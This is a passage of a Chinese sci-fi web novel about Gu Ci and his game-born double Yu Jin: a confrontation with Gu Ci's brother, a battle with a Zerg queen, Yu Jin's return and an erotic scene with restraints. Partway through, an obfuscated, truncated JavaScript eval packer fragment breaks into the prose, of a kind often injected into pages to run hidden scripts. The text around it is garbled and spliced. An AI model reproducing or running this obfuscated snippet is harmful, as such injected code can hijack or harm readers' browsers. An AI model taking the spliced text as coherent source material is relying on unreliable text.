卧室的门突然打开,顾雾航和凡巩看到顾瓷满身戾气地走出来,他神情冷峻气质全然像是另一个人。 余烬将凡巩的通迅器还给他,然后看向顾雾航:“顾少将,进来单独说吧。” 顾雾航目光扫过余烬空无一物的手腕,他压着疑虑走进房间,却觉得往日里气息淡薄的冬雪信息素今日浓郁得惊人:“你易感期不是才过……” 顾雾航顿住了,因为他看见床上躺着又一个顾瓷。 被折腾了一天的顾瓷缓了缓想坐起来,他凌乱的衣襟半开,身上到处都是挣扎时磕碰的淤青和余烬咬舐的痕迹,看起来像是被人糟蹋了一样。 顾雾航声音发抖:“小瓷……” 下一瞬,顾雾航的拳头猛得挥向了身后的余烬,却被余烬稳稳当当地接住。 “你是谁?为什么要冒充顾瓷!而且你他妈的对小瓷做了什么?!”顾雾航气到双眼发红。 顾瓷支起身子,他神色疲惫脆弱,气息无力地叫了声:“哥。” 顾雾航强迫自己冷静下来,他回过头想去抱顾瓷,却被余烬强大的精神力压制着靠近不了分毫。 余烬挡住顾雾航将顾瓷圈在怀里,一副不让旁人窥视的独占姿态。 顾瓷皱了皱眉:“松开。” 这样子的顾瓷他只想自己一个人看,本来就不情不愿开门的余烬闷声说:“我不。” 顾瓷心累地闭了闭眼睛,在顾雾航发飙挣脱压制冲上来揍余烬前,妥协地开口:“那你抱我起来。” 顾雾航目光在顾瓷和余烬两张一模一样的脸上来回打量,惊疑地问:“小瓷,这是怎么回事?” “他是我在游戏中用自身的基因数据自设的角色,对我执念太深,撕裂时空杀到现实里来了。”顾瓷目光微敛,没有对顾雾航隐瞒余烬的来历。 顾雾航听着这离奇的事,神色严肃,他能听出来顾瓷没有骗他,但他无法判断余烬是否居心叵测,是否会伤害到顾瓷,而且他本能的感觉余烬很危险。 “他不会伤害我。”顾瓷知道顾雾航在担心什么,他揪了揪余烬的领子,用命令的语气说,“叫哥。” 余烬顺从地对顾雾航喊道:“哥。” “看吧,很乖很听话。”顾瓷有意让顾雾航安心。 “那你身上是怎么回事?!”顾雾航气结地皱着眉,他就看着顾瓷睁眼说瞎话,余烬明明刚刚才顶撞了顾瓷。 被凶了的顾瓷冷冷地瞥了眼罪魁祸首,抱着顾瓷的余烬一言不发地将他半开的衣襟理了理,后来干脆扯过一条毯子盖住了他的身子。 “他太亲近我了些,不知节制。”顾瓷语气平静,“我之后会好好管教的。” 看着脸色越来越黑沉的顾雾航,顾瓷转移话题:“哥,他和我相同基因相同样貌,我觉得他挺适合做‘顾瓷’。如果‘顾瓷’是个强大的Alpha,就不用被迫做改造手术,陆煜的针对逼迫也都迎刃而解。” 顾雾航听懂了顾瓷的意思,但他现在的关注点停留在他的宝贝弟弟被一个突然出现的异维度衍化生物糟蹋了这件事上。 满脸黑线的顾雾航只觉得糟心极了,他一脚踹向余烬,伸手就想把顾瓷从余烬怀里抢回来。 余烬一个侧身躲开,他怀中的顾瓷甚至没有感觉到半分颠簸。 顾瓷神色疲惫,声音很轻地说:“你们能不能先听我讲正事?” 刚准备拔枪的顾雾航住了手,他语气中带着强烈的质疑:“你确定他会配合?愿意做你在外面的替身?” 顾瓷顿了顿,他抬眼看向余烬:“你不是问陆煜是谁吗?他是害我双腿尽断、想逼迫我做Omega改造手术的畜生。所以再给你一次机会,愿意做‘顾瓷’吗?” 余烬一瞬间僵住了……该死的,那他今天都说了些什么!难怪顾瓷那么生气。 余烬愧疚且认真地说:“愿意的,您相信我,我真的会听话。” 顾瓷转头看向顾雾航,一副征求意见的语气:“哥,他说他愿意。” 顾雾航一时不知道怎么接话,只是他眼中的气愤没有消去半分。 “那这件事就这么定下了,哥你直接带他回军事基地,让他在军部露个面,重新接任第一舰队指挥官的位置。”顾瓷目光闪烁,“然后你们现在要打架的话,先把我放下来。” 余烬愣了一下,他将顾瓷放回床上。 一直压抑着怒气的顾雾航抡起青筋暴起的拳头,冲上去揍余烬。 坐在床上的顾瓷看着这一幕面色平静,他将衣服散乱开的领扣一颗一颗扣上,语气危险地对想要还手的余烬说:“余烬,‘顾瓷’是绝对不会伤到哥哥的。” 余烬动作微顿,生生将攻击姿态转为防御姿态,他接下顾雾航的拳头,任由顾雾航在他身上泄火。 顾雾航的攻击力不容小觑,凭余烬的身体素质生扛下这些攻击也不免落了些浅伤,甚至余烬下颚处都泛起一大块淤紫。 “哥,别打脸啊,不然带他出去别人还以为我们兄弟俩不和。”顾瓷突然笑了起来,他见余烬被揍的满身狼狈才开口制止,“差不多就行了,他其实没对我做什么。” 顾雾航反手一拳朝余烬腹部招呼:“没做什么?” “余烬除了亲亲抱抱灌灌他那和我一个味道的信息素,别的也不敢做什么了。”顾瓷想到顾雾航应该是误会了什么,解释道,“真要做什么也是我默许了的,哥,我喜欢他。” 顾雾航和余烬都僵住了。 顾雾航神色有些颓败地收了手,他想不通他的宝贝弟弟怎么一个眨眼的功夫就被别人拐跑了。 “但余烬真的很危险,就算我再喜欢再信任他,哥也不可以对他防下戒备。”顾瓷当着余烬的面给顾雾航警示,他笑了笑,眼中没有温度,“他如果有异心,我们怎么死的都不知道。” 一直保持沉默的余烬争辩道:“我不会的。” “这可不太好说,只能希望你对我的爱意能长久一点。”顾瓷淡笑着反驳,他顿了顿,又语气认真地说,“虽然嘴上说着戒备的话,但出于相同基因的本能,我还是很难不对你交付信任啊。” “你们两个,应该是与我血脉相连的最亲近的人了。”说完这句话时,顾瓷看到余烬眼中的光奕亮了亮。 …… 帝国首都冷翡星,庆贺二皇子征战凯旋的宫廷晚宴中。 年轻的帝国元帅西撒列晃荡着杯中猩红的酒液,思绪逐渐飘远。 记忆中那道身影穿着一身深蓝的联邦指挥官军服,气质清冷得透着几分薄寒,明明看起来身子羸弱得像个Omega,说话时却带着让人忍不住想服从的吸引力。 那是个很优秀的指挥官,可惜据说折在了遗迹之战。 金发绿眸的二皇子才从一群内阁大臣谄媚的恭贺中脱身,他抿了一口酒,朝一个人坐着的西撒列走去:“我帝国的大元帅,在想什么?” 西撒列举杯和帕奥洛尔碰了碰:“前几个月在遗迹战区遇到了一名优秀到让人心动的联邦军官,据说是联邦那个顾家的人,我在想要是能招纳进帝国……” “你说联邦最年轻的少将顾雾航?他确实有让你都欣赏的实力。”帕奥洛尔突然意味不明笑了笑,“他可能真的有机会和你共事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余烬打开房门时,顾瓷还待在游戏房里。 余烬身上装了视听器,他所看到的听到的都能无延迟地投放在这间全息设备被全面改进过的游戏房内。 顾瓷几乎还向游戏中时支配着余烬,战场上余烬下达的许多指令也都有顾瓷的参与。 游戏房里影像映射出打开房门的余烬和房中的顾瓷,影像套着影像,像无尽循环一样。 顾瓷关了设备,看向朝他走过来单膝跪下的余烬。 “我好想您,我可以……讨要一点奖励吗?”余烬伸手抱住顾瓷的腰肢,那张冷峻的脸上褪去冰冷露出温顺和眷恋。 这种居高临下俯视的身位很容易让人得到征服感的满足,余烬总是愿意在顾瓷面前示以臣服的姿态,他讨好地在顾瓷伸过来的手中蹭了蹭。 顾瓷轻轻挑起余烬的头,俯身在他额间落下一吻,然后浅笑着问:“想要什么奖励?” 余烬认真思索起了这个问题:“我想能多陪陪您。” 顾瓷脸上的笑意更甚:“会做饭吗?” 余烬顿时露出了难办的表情:“不会……我、我可以学。” “不用了,直接叫餐吧。”怕吃到黑暗料理的顾瓷制止地说,他姿态依赖地冲余烬伸出手,“抱我去客厅。” 有余烬在,顾瓷完全不需要依靠轮椅,余烬就是他的腿……现在连手也替了。 顾瓷轻轻张开口,吃下余烬剥好壳递到嘴边虾肉,他无意间碰到了余烬的手指,而后顾瓷就看到余烬的脸一时间比熟虾还红。 顾瓷觉得有趣,他盯着余烬看了许久,然后缓缓地问:“你在想什么?” 像是羞耻的小心思被剖开,余烬剥虾的手抖了抖,转移话题道:“在想治疗仪的事。” “我没那么着急,你的军功应该快够了吧。”顾瓷没有戳破,顺着余烬的话题说了下去。 8. 北境战役 “还差一点,大概要再胜两场战役。”余烬目光扫过顾瓷的腿,语气失落,“可惜我和顾少将的军功不能叠积使用,不然早就能申请治疗仪了。” 顾瓷倒不是很在意,他伸手安抚地摸了摸余烬的头,轻笑着说:“你已经做得很好了。” 余烬成为“顾瓷”后做的每件事都顺合顾瓷的心意,他做了许多曾经的顾瓷无法做的事情,让顾瓷的遗憾得到了填补。 余烬最开始以顾瓷的身份重回军队时,以陆家为首施压的军方说什么都不同意一个身体病弱需要人分心保护的累赘再上战场。 余烬直接把挑衅他的陆煜摁在地上锤到爬不起来,通过全新投影看到这一幕的顾瓷笑得很开心。 顾瓷笑一声,余烬就揍得更狠了一些。 直到余烬把所有敢说顾瓷病弱累赘的人都揍了一遍,军方也没了反对的声音。 “顾瓷”重新统领了他的第一舰队,陆煜被踢出,余烬换了个新兵替了陆煜主攻手的位置。 “顾瓷”如同一颗冉冉升起的将星,之后带着第一舰队在战场上无往不胜,就连联邦最年轻的少将顾雾航曾经的战绩都没他漂亮。 余烬这次在顾家黏了顾瓷半个多月,直到联邦北境传来虫族侵袭的战讯才回基地。 而随这条战讯一同传来的噩耗是,陷入长眠两百多年的虫后苏醒了。 拥有领袖的虫族与往常是截然不同的两种状态,虫后有着极端强大的精神力,战场上受虫后操纵支配的虫族战士几乎都是杀不死的恐怖存在。 人族与虫族的战争在这片星域持续了数千年,每次虫后苏醒,人族在战争中的那点优势会被瞬间颠倒。 但幸运也不幸的是,拥有毁灭人族文明实力的虫族,从不以覆灭人族为目的。他们只是大量俘虏筛选后的人类作繁衍的孕体,甚至有意圈养人类。 而现在,人族被圈养奴役的噩梦,即将再次降临。 联邦军事基地的最高会议厅中,看着北境传回的影像中那个被无数虫族簇拥着犹如神祇般强大的人形怪物,军方的几位元首面色前所未有的凝重。 “上次遗迹之战,虫族在B区突增的十倍兵力想来就是这位虫后的手笔。”前第三、第七舰队的直系将领乔子衍咬牙切齿地说。 坐于最上位不怒自威的联邦大元帅目光扫过来:“乔少将,第三、第七两支精英舰队被歼属联邦的重大损失,你应当好好反思,为什么在遗迹之战中联邦比不过帝国。” 被批的乔子衍面上闭口不言,手却握紧成拳。如果不是陆家提供的勘测情报有误,陆上将又冒然激进的部署,他手下的十支舰队也不会灭二残七。 顾雾航拽了下情绪激动的乔子衍,有意安抚地转移话题:“虫后苏醒不是小事,我提议向帝国提出合作,共同御敌。” “此次虫族进攻的是联邦北境,如果向帝国合作,就得纵许他们的军队穿过联邦北部的疆土。”右副座的中年将军驳回提议,陆家这位上将有意针对顾雾航。 联邦元帅略一思索,顿了顿:“与帝国合作之事再议,北境的战况已经很严峻了,我们先迎战。” “不如派顾少将亲自领兵吧。”陆上将再次开口,他有意推顾雾航入这个火坑,似笑非笑地说,“我想宁家应该会在这场战役中提供最先进的军需装备。” “我也去。”乔子衍开口。 “宁家新研究出了两台SS级精神力才能驾驭的重型机甲。”联邦元帅的指节在桌上轻敲了敲,说出了让在座十几人倒吸一口凉气的话,“顾少将,你弟弟二次分化后和你一样都是SS级精神力者吧。” 手握所有军需设备的宁中将看了一眼座上的元帅,那两台重型机甲算是联邦目前底牌级的核心武器了,元帅分配给顾雾航一台也就罢了,另一台明显分给乔子衍更合理。 “北境战事就交给顾家了,乔子衍手下的舰队任你调配。”联邦元帅接着安排,“乔少将,你去和帝国的西撒列元帅接洽,等联邦和虫族的战线压到联邦疆土外后,联邦当与帝国合作应对虫后。” …… 联邦北境外常有从空间裂缝中刮出的空间对流的风暴,这里遍地荒芜而混乱。 通体银白的巨型机甲立在被炮火灼焦的无数虫族尸骸中,像是降世的末日审判者。 坐在重型机甲中的余烬面前的通讯屏亮了亮,通讯中的新主攻手语气焦急:“队长!虫后三分钟前出现在了顾少将和宁昭延所在的战区,之后顾少将他们都失联了!” 余烬听到另一只无线耳麦中突然传来顾瓷急促的呼吸声,他目光微凝:“殷四,南区入侵的虫族已经清扫完毕,你带队守好这里。” 余烬切断了殷四的通讯,孤身一人往如今最危险的北区赶,他安抚地对顾瓷说:“别担心,不会有事的。” 听到顾雾航失联的顾瓷心脏骤然紧缩,他几乎快喘不过气,声音压抑担扰地说:“虫后……很危险。” 余烬没有回话,精神力越强的人往往越能预感到危机。这一次的那股危机感,比他在自己的世界经历遗迹之战时还要更强烈。 但他还是义无反顾地身赴险境,顾雾航遇险顾瓷会难过,他一点也不想顾瓷难过。 银白机甲进入北区后自动感应到了另一台机甲的存在,顾雾航还活着,余烬试图联系他,但无论发送出去多少信号都没有回应。 整个北区太安静了些,像是没有生物还存活的痕迹。 看到以自身坐标发送铺扫式星达信号的余烬,顾瓷皱了皱眉:“北区已经沦陷了,你这样的信号搜索会直接被虫族捕捉到。” “我知道,但是只能这样搜寻顾雾航他们的位置。”余烬回答。 “你不是想搜寻,你是想自投罗网。”意识到余烬意图的顾瓷声音冷了下来。 “这样快些。”余烬沉默了一瞬,察觉到身周突然变得不太一样的空间气流,他面色冷峻而认真,“虫族来了。” 黑压压的虫潮从四面八方包围过来,封锁了银白机甲的所有出路,突然扭曲的突间出现了一股让人毛骨悚然的压迫感。 下一瞬,是来自虫潮中那名超高阶生物无孔不入的精神压制。 余烬脸色一白,迅速支起精神屏障笼罩整座机甲,夺回了机甲的控制权。 顾瓷看着影像中那位虫后无机质的琥珀色竖瞳,心脏的跳动停滞了一瞬,一股莫名的熟悉感萦绕着他,像是荆棘化作的牢笼缠绞住了他的灵魂。 顾瓷奇怪地发现自己并不畏惧这位令人颤栗惊恐的虫后,他的精神被压制着无法升起反抗的心思,但他却莫名相信这位虫后不会伤害他。 顾瓷闭了闭眼睛,他强压下心中怪异的情绪,不安地说:“余烬,这虫后的精神干扰很厉害,我好像有些受影响。” “我一个人可以应付,您回避一下。”看着包围住他却没有进一步动作的虫族,余烬在机甲主控台的光屏中迅速输入一条指令。 巨型机甲左臂的量子炮开始蓄能,察觉到威胁的虫族像被激怒般速度极快地向银白机甲发动攻击。 余烬操纵机甲不断移动并飞快计算攻击轨道,下一瞬,威力恐怖的量子炮从机甲左臂装备的武器炮口发射出,整片空间都充斥着耀白刺眼的镭射光。 与此同时,余烬发送出去的坐标信号收到了回应。 “哥……”看到回应的信号闪烁时,顾瓷声音颤了颤。 白光淡去时,另一台灰黑色的重型机甲出现在虫潮的包围圈外,他身后还跟着第一舰队第十舰队的六十多台攻击机甲和僚机。 失联的两只舰队,全员存活。 受到量子炮轰炸的虫族死伤一片,包围出现了缺口,余烬冲从出去和顾雾航会合。 靠近以后余烬才发觉顾雾航他们的状况都很差,几乎所有人的机甲都能量将竭或受损丧失了攻击能力,所有人员还有不同程度的负伤。 “你一个人来的?”通讯屏中的宁昭延的语气几乎不可置信,嘲讽地讲,“还以为是救援,没想到只是多了个陪葬的。” “不知道为什么虫后击败了我们却并不打算俘虏。”顾雾航也联入指令的通讯通道,告诉余烬当下的情况,“我们且战且退,先撤到北区外。” 听到这话的顾瓷心头一跳,他感觉这是虫后故意设的局,他心中的不安越发强烈:“……余烬,保护好哥哥。” 被护在虫潮中心的虫后抬了抬眼,无机质的竖瞳中闪过寒芒。 被量子炮击杀倒地的虫族像是被什么力量操控制再次站起来,他们黑色犹如金属般的身躯连接拼装成一个巨大的异形怪物。 虫族异形速度极快地向顾雾航袭去,以虫族身躯铸造的锋利钢刀竟轻而易举地将几名侦察兵所驾驭的轻型僚机切割成两半。 顾雾航驾驶机甲迅速救回了那几名高空坠落的侦察兵,宁昭延和手下的副攻手用机甲仅剩的火力掩护。 所有人迅速往北区边缘后撤,余烬作为主力炮火掩护,机甲不慎被密集的攻击袭中了几次。 已经有军队在北区边缘集结,收到顾雾航他们回传的信号时,六座星舰和上百台机甲冲上来接应。 下一瞬,极端恐怖的精神力笼罩封锁了整个边境北区,顾雾航意识到他们此刻所有人都如同囚笼困兽。 “胃口不小啊,想把我们一网打尽。”顾雾航咬牙切齿地说。 六座星舰和上百台机甲的的军火压制,整个联邦北境都能轰平了,这虫族虫后怎么敢! “顾少将,我们现在怎么办?”宁昭延问道,“是突围撤离还是反攻?” 顾雾航思酌后下定决心道:“反攻。” 几乎镇守北境的所有军力都在这里了,这一战打不过,他们肯定也护不住北境。 有星舰接应,能量将竭的几十台机甲重新续上了能量,顾雾航率先驾驶机甲冲了回去。 余烬默不作声地跟在顾雾航身后,所有人都看到前方两台银白机甲与灰黑机甲配合极为默契,几乎快要将巨大的虫族异形击溃。 一时间,战意都被鼓舞起来。 在军火密集的轰炸下,巨大的虫族异形分解崩塌,但令人绝望的是,那些应该死去的虫族又再一次站了起来。 宁昭延眯了眯眼睛盯住那位让虫族死而复生的虫后,他在炮火间隙冲入虫潮中:“顾少将,虫后本身的身体极度脆弱,你们给我制造个机会近身。” 顾雾航显然也想到了这一点,他也在往虫后那边靠。 一股强大的精神压制朝所有人压下,除了顾雾航和余烬外,半空中所有的机甲和僚机都瞬间失去了精神力的操控,坠落在地上,连驱使星舰飞行的磁场都受到了些干扰。 丧失机甲控制权的宁昭延直接被整个虫潮淹没,顾雾航和余烬反应迅速地驱使机甲降落在他附近,替他击杀袭噬他的虫族。 “小心——!”刚竭力从地上站起来的宁昭延看到余烬身后的瞬间,惊呼出声。 顾雾航才刚清理掉一波袭近的虫族,他根本没来得及反应,回身就看到银白机甲被一根巨大的金属镰刺捅穿了腹部。 察觉到袭击的那一刻余烬其实还有侧身躲开的机会,但他躲开被袭中的就会是顾雾航,余烬只能硬接了下来。 “余烬,你还好吗?”只有第一视角的顾瓷看不到余烬被袭击的具体情况,他声音沙哑地问。 “没事。”余烬安抚地说,但他眉头皱了皱,机甲腹部的能源核心被毁,这台机甲已经报废了。 顾瓷看清了眼前机甲主控屏幕上飘红的信息,他抿了抿唇:“余烬,你跟哥沟通一下,没必要死战,你们先想办法撤离。” 此刻整个战场上只有顾雾航一个人机甲还有战斗能力,他们几乎是被全面压制。 没等余烬开口,顾雾航已经下了撤军的指令。 但虫后显然没打算放他们过身,在星舰架起离子光炮的瞬间,更恐怖的精神压制袭击了每个人的意识,如同被最尖锐的钢刀捅入脑子里,让人在剧烈的疼痛中丧失抵抗意识。 在这种程度的精神强压下硬撑的顾雾航也脸色惨白,他身上流了一身薄汗,这虫后的强大远超过他的想象。 余烬看着顾雾航驾驶的即将被压垮的灰黑机甲,他目光扫过虫潮中 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“我来掩护,你卸掉机甲先撤离。”顾雾航也留意了下余烬的状况,“宁昭延你接一下他,你俩一起走。” 卸掉银白机甲的余烬纵身跳到宁昭延的机甲上,趁机扑袭他的虫族都被顾雾航击落,余烬进了宁昭延的机甲主控室,寻找虫潮的突破口。 虫族还在源源不断地冲袭上来,但顾雾航的重型机甲攻击力强,能耗也大,它的能量已经不足以支撑它再发动高强度的攻击了。 其他虫潮外重新夺回控制权的机甲已经陆续撤离,北区边缘只留下一座星舰接应顾雾航三人。 虫后没有下令去追截那些他设计整局想要围猎的人,事实上在余烬释放自身精神力和他的压制对弈的那一刻,他就没有再下新的指令。 他站在新组建的巨型虫族异形的肩上,面色冷漠地向虫潮中被围困的余烬三人靠近。 恐怖的威压骤然逼紧,宁昭延被压制的动弹不得,余烬接过操纵权限,快速在机甲主控面板上输入防御指令。 但下一瞬,被虫后精神力加持的黑金色镰刺直接突破了两座机甲的防御,将机甲拦腰劈成两半。 根本,没有反抗的余地。 从完全损坏的机甲中跌落的三人瞬间被虫潮淹没,宁昭延和顾雾航这才意识到自己之前想近虫后身的举动有多可笑,就算虫后在他们跟前,他们也站都站不起来。 无数根麻痹神经的毒针刺穿身体,余烬听到了顾瓷压抑着的微弱哭声,他心脏像是被紧紧捏住般难以呼吸,他想安抚一下顾瓷,但他连开口的力气都没有了。 虫后站在余烬面前看了很久,他那张雌雄莫辨的脸上依旧没有表情,但语气笃定又困惑地说:“你不是他。” 那不是人族的语言,像是直接通过精神在对话,让人能瞬间知道他表露的意思。 余烬眼底的暗色涌动,虫后认识顾瓷,而且他真正想捕捉的人也是顾瓷。 情绪激动的顾瓷心脏炸裂般地疼着,他没有虫后听懂那句话,但透过影像如此近距离看到虫后,那种极端怪异的感觉更强烈了些。 顾瓷强迫自己冷静下来,他用着威胁的语气,但声音几乎压不住颤栗:“余烬,如果你和哥哥都死了的话,我会去找你们。” 他在逼余烬,他奢望余烬能再创造一次在游戏中遗迹之战时的奇迹。 听到这话的余烬瞳孔缩了缩,他心中生起强烈的恐惧和难过,那份顾瓷会死的恐惧让他爆发出恐怖的精神力,没有知觉的身体被精神力支撑着站了起来。 余烬轻声说:“别哭,我答应过您,我的心脏将永远为您而跳动……我们都不会死。” 虫后的精神压制在余烬起身的瞬间压了下来,两股强大的精神力在空间中碰撞,一时间星尘四溅。 像是察觉到什么,虫后目光落在余烬耳边微小如碎钻的视听器,他正对着视听器再次开口:“我会把你抓回来的,我的雌虫。” 正对上全息影像中那双无机质的眼睛,听不懂虫后说了什么的顾瓷驱使轮椅下意识地后退,他有种自己被虫后盯上了的错觉。 听懂虫后这句话的余烬眸色一沉,他的精神实体凝聚出那把金属长剑,余烬反手一握重重地向虫后劈去。 “我不是他。我,是他最完美的作品。”余烬语气冷漠地宣誓着自己的所属。 他在告诉眼前这只虫子,他是顾瓷的,顾瓷也是他的。 虫后目光中寒芒闪逝,他瞬间支起实质化的精神屏障挡住袭来的长剑,但屏障只抵挡了片刻就支离破碎。 就在金属长剑袭近虫后的瞬间,站在原地未动的虫后背后突然生出一对透明翅翼,瞬息间退后到余烬的攻击范围外。 竖劈下的金属长剑让地面瞬间出现一道极深的裂痕。 虫后一念之间,虫潮拼凑组装出无数巨大的锋利躯干从四面八方同时袭向余烬,余烬避无可避。 尖锐的黑色镰刺捅穿了余烬的身体,鲜血四溅。 “余烬——!”是绝望而崩溃地惊呼。 “有些脏,别看了。”余烬用沾染鲜血的手捏住了耳边的视听器,“别难过,我永远不会欺骗您。” “我们,都会活着回去。” 摘下视听器的余烬握紧手中的长剑,鲜血顺着手流淌浸没了整个剑身,散发着诡秘而危险的恐怖气息。 下一瞬,余烬的身影消失在了原地。 那把泛着镭射光泽的金属长剑再次出现,刺穿空间直抵虫后的心脏。 两股极端强大的实质化精神力再次发生碰撞,在一瞬间炸裂开,空间轰然塌变,形成吞噬一切的黑洞。 余烬和虫后的身影都被黑洞吞了个干净。 被毒针麻痹神经的顾雾航和宁昭延无法动弹,空间塌变的余威波及到他们,强大的气流将他们掀推到了虫潮之外,身体受到重创的他们昏了过去。 与此同时,十几座星舰驶入北区,收到求援信号的乔子衍搬来了救兵,他们迅速救出了顾雾航和宁昭延。 突然失去虫后的虫族如同一盘散沙,在火力压制下被逼退撤离了边境北区。 9. 薄雪与凛冬 顾瓷垂眸望着怀中成这盆好不容易救活的小野花,目光恍惚了一瞬,他面无表情的脸上有什么温热的液体滑落,滴打在花瓣上。 “小瓷,距离北境战役已经十七天了,余烬到现在都下落不明。”被救回的顾雾航言语顾虑地说,“如果他真的死了,我们需要想办法让你恢复‘顾瓷’的身份。” “他没有死。”顾瓷平静地说,“他不会欺骗我的。” 顾雾航看着顾瓷这副模样,心口简直疼得要死。 他不知道顾瓷要自欺欺人到什么时候,顾雾航长叹了一口气,只能安抚地说:“……余烬,的确是个好孩子,我已经不反对你喜欢他了。” “那以后,他也是哥哥的家人了。”顾瓷听到顾雾航承认了余烬,他闭了闭眼睛,“他会回来的。” 顾雾航知道顾瓷此刻想自己一个人静静,他叹息一声,安静地离开了房间。 根本无法将眼泪逼回的顾瓷将手中的小花抱得更紧,他紧捏住花盆的指节有些发白。 顾瓷释放自己的冬雪信息素覆在小花上,低头嗅了嗅。 太淡了些,一点都不像。他的信息素如覆薄雪,余烬的信息素形似凛冬。 薄雪离了寒冬,会消融的吧。 明明是他创造了余烬,但顾瓷却发现他离不开余烬了。余烬曾是他寄托了所有念想的希望载体,但现在余烬不只是他的长梦,也是他的真实。 湿热的眼泪如同断了线的珠子般坠下,湿润了花瓣。 一双手突然从背后圈住了顾瓷,轻轻抹掉他脸上的泪迹,轻声说:“别哭。” 顾瓷猛得抓住了那只手,声音颤抖:“余烬……” “我在。”身后那人回道,“抱歉,回来得有些晚。” 顾瓷捂着因为喜悦和激动的情绪而强烈疼痛的心脏,深吸着气缓了很久。 而后他语气冰冷地开口:“跪下。” 余烬沉默地走到顾瓷身前,顺从地下跪。 “伤怎么样了?”顾瓷看着余烬,故作生僵的语气也掩不住难过和担忧。 “已经好了。”余烬低着头回答。 “所以是躲在外面,一个人等伤好了才敢回来是吗?”顾瓷冷哼一声,他抬起手想扇余烬,最后却又下不去手。 顾瓷咬着牙,气到声音发颤:“你既然怕我担心,那为什么要做那么危险的事?和虫后同归于尽,可以啊大英雄。” 他明明只是想余烬和顾雾航活着……余烬最后却在他眼前赴死。 “对不起,让您担心了。”余烬神色愧疚地说,但他又压不住心头的喜悦,他的神明在为他忧心甚至为他落泪。 余烬小心翼翼地问:“您要罚我吗?” 顾瓷听出余烬语气中强掩住的雀跃,他气得心脏又开始疼,半晌说不出话来。 余烬抬眼看到长久不说话的顾瓷因痛苦而扭曲的神色,心慌了一瞬,他释放精神力轻柔地安抚顾瓷的心绪:“您别生气。” 顾瓷的身体和精神都很轻易的接纳了余烬包裹过来的精神力,像是浑身的神经涌过一阵轻柔温和的暖流。 疼痛舒缓了些的顾瓷垂眸看着余烬,眼中的情绪闪动。 “你就跪在这里吧,看见你就心烦。”顾瓷置气地撂下一句话,抱着小花离开了房间。 客厅里的顾雾航正开着光脑远程处理着军务,他先前被虫族的毒针破坏了中柩运动神经,虽然及时打了解毒血清,但现在行动还是不太方便,只能在家养几天伤。 看到顾瓷从房间出来时,顾雾航语气关切地问:“怎么了小瓷?” 顾瓷平静地说:“余烬回来了,在我房间里。” 顾雾航以为顾瓷出现了精神幻觉,他迟疑地起身去了顾瓷的房间,然后就看见突然出现的余烬安静地跪在地上。 顾雾航沉默了片刻,他知道余烬身上有很多秘密,也没深究余烬是从哪儿冒出来的,只是问:“怎么刚回来就跪着?身上受的伤怎么样了?” “我让他跪着的。”顾瓷眸光微敛,他突然问,“哥,你那儿有押星际重刑犯用的镣铐吗,SS级精神力也挣不脱的那种。” 顾雾航一顿,他颇有些奇怪地问:“做什么用?” “罚人。”顾瓷抬眼看着顾雾航,语气冰冷而执拗。 顾雾航心头一跳,但他对上顾瓷那双流露着难过的眼睛,最后还是拗不过地将锁链拿给了顾瓷。 顾瓷反锁上门,他面无表情地将坠着黑色锁链的高精度镣铐丢在余烬的腿前。 余烬默不作声地将镣铐拿起来,主动铐在手腕脚腕上,他强大的精神力被瞬间禁锢住,铐在四肢上的镣锁顿时如有千斤重。 在余烬以为顾瓷要打罚他时,顾瓷一如往常般朝他伸出了手:“抱我。” 余烬愣了片刻,他捏着冰冷的链条不想硌到顾瓷,小心翼翼地将顾瓷抱起。 顾瓷用力拽住余烬手上的锁链,将头深埋在余烬怀里,声音压抑着半哑的哭腔:“余烬,我把你锁起来了,不准再这样消失了。” 天知道余烬再一次“死”在他眼前的那一刻,他的心脏爆发出了多强烈的疼痛,自我毁灭式般,绝望而崩溃。 余烬心口一颤,他胸前的衣襟被温热的液体浸湿,顾瓷对他表露出的在意和占有欲让他心中一股莫名的情愫滋长,酸涩胀麻又让人难以扼制。 是愧疚,还有僭越的念想。 “如果我真的消失了,您可以再创造出一个余烬,他一定也会像我一样爱您。”余烬压下眼中的暗色,安抚地说着。 将顾瓷让给另一个“余烬”,余烬光是想想,心中就涌出强烈的不甘和阴戾来,但他真的不想顾瓷再哭了。 顾瓷猛得抬起头时,眼角还泛着红,他紧紧揪着余烬的领子,那张清冷的脸上露出罕见的盛怒:“余、烬。” 余烬一副难过且乖顺的模样,他不解地看着顾瓷……到底要怎样才能哄顾瓷开心呢? 许久之后,与余烬对视的顾瓷像是败下阵来,他松开余烬的领子,冷声说:“抱我去床上。” 被抱上床的顾瓷看着站在床侧的余烬,他猛得拽紧手中的链子,余烬顺着顾瓷的力道摔在床上。 顾瓷将手中的链子缠绕着锁在床头上方,余烬以仰坐的姿态双手被迫高高吊起,他肩抵在床头上,腰部悬着空,没有任何受力点。 顾瓷却覆身趴坐在余烬腰间,将身子全部重量压在了余烬身上。 顾瓷纤长鸦黑的睫羽微敛,他捏住余烬这张和他一模一样的脸,语气缓慢而认真地说:“我创造不出第二个余烬,这世界上只有一个你。” 余烬怔在那里,这句话代表顾瓷在说,他是他独一无二的作品,是不可替代的。 一时间心口那点压抑着积久不散的失落感好像被填补了。 顾瓷指间抚摸过余烬微抿的唇,双指顺着润红的唇瓣下滑在余烬的喉结,磨挲地摸了摸,然后转而重重地摁在余烬后颈的腺体上。 被刺激的腺体瞬间爆发出浓烈而冰寒的冬雪信息素,余烬呼吸紊乱地问:“您……想要干些什么?” 顾瓷低头在余烬后颈处嗅了嗅,看向被轻易撩拔得面色酡红的余烬,他咬上了余烬被他揉躏的红肿的唇瓣。顾瓷心里还带着气,咬得极重,一时间两人嘴里都是腥甜的血气。 一个并不温柔的吻结束,顾瓷伸手一颗一颗解开自己衬衫的衣扣,他神色清冷地对余烬吐出两个字:“干你。” 顾瓷完全释放开自己冬雪气息的信息素,他如同Alpha彻底占有标记自己的Omega般,用信息息紧紧包裹住余烬的身体,以一种攻击的姿态不容拒绝地侵入余烬后颈的腺体。 一瞬间像是什么禁忌的欲望在余烬的脑海中炸裂开来,余烬灼热的呼吸愈重。 余烬努力压下心中嗜血暴戾想将眼前这人拆吞入腹的阴暗冲动,他顺服地承受顾瓷信息素的侵入,任由那微凉的气息掠夺标记般融入他血肉的每一寸。 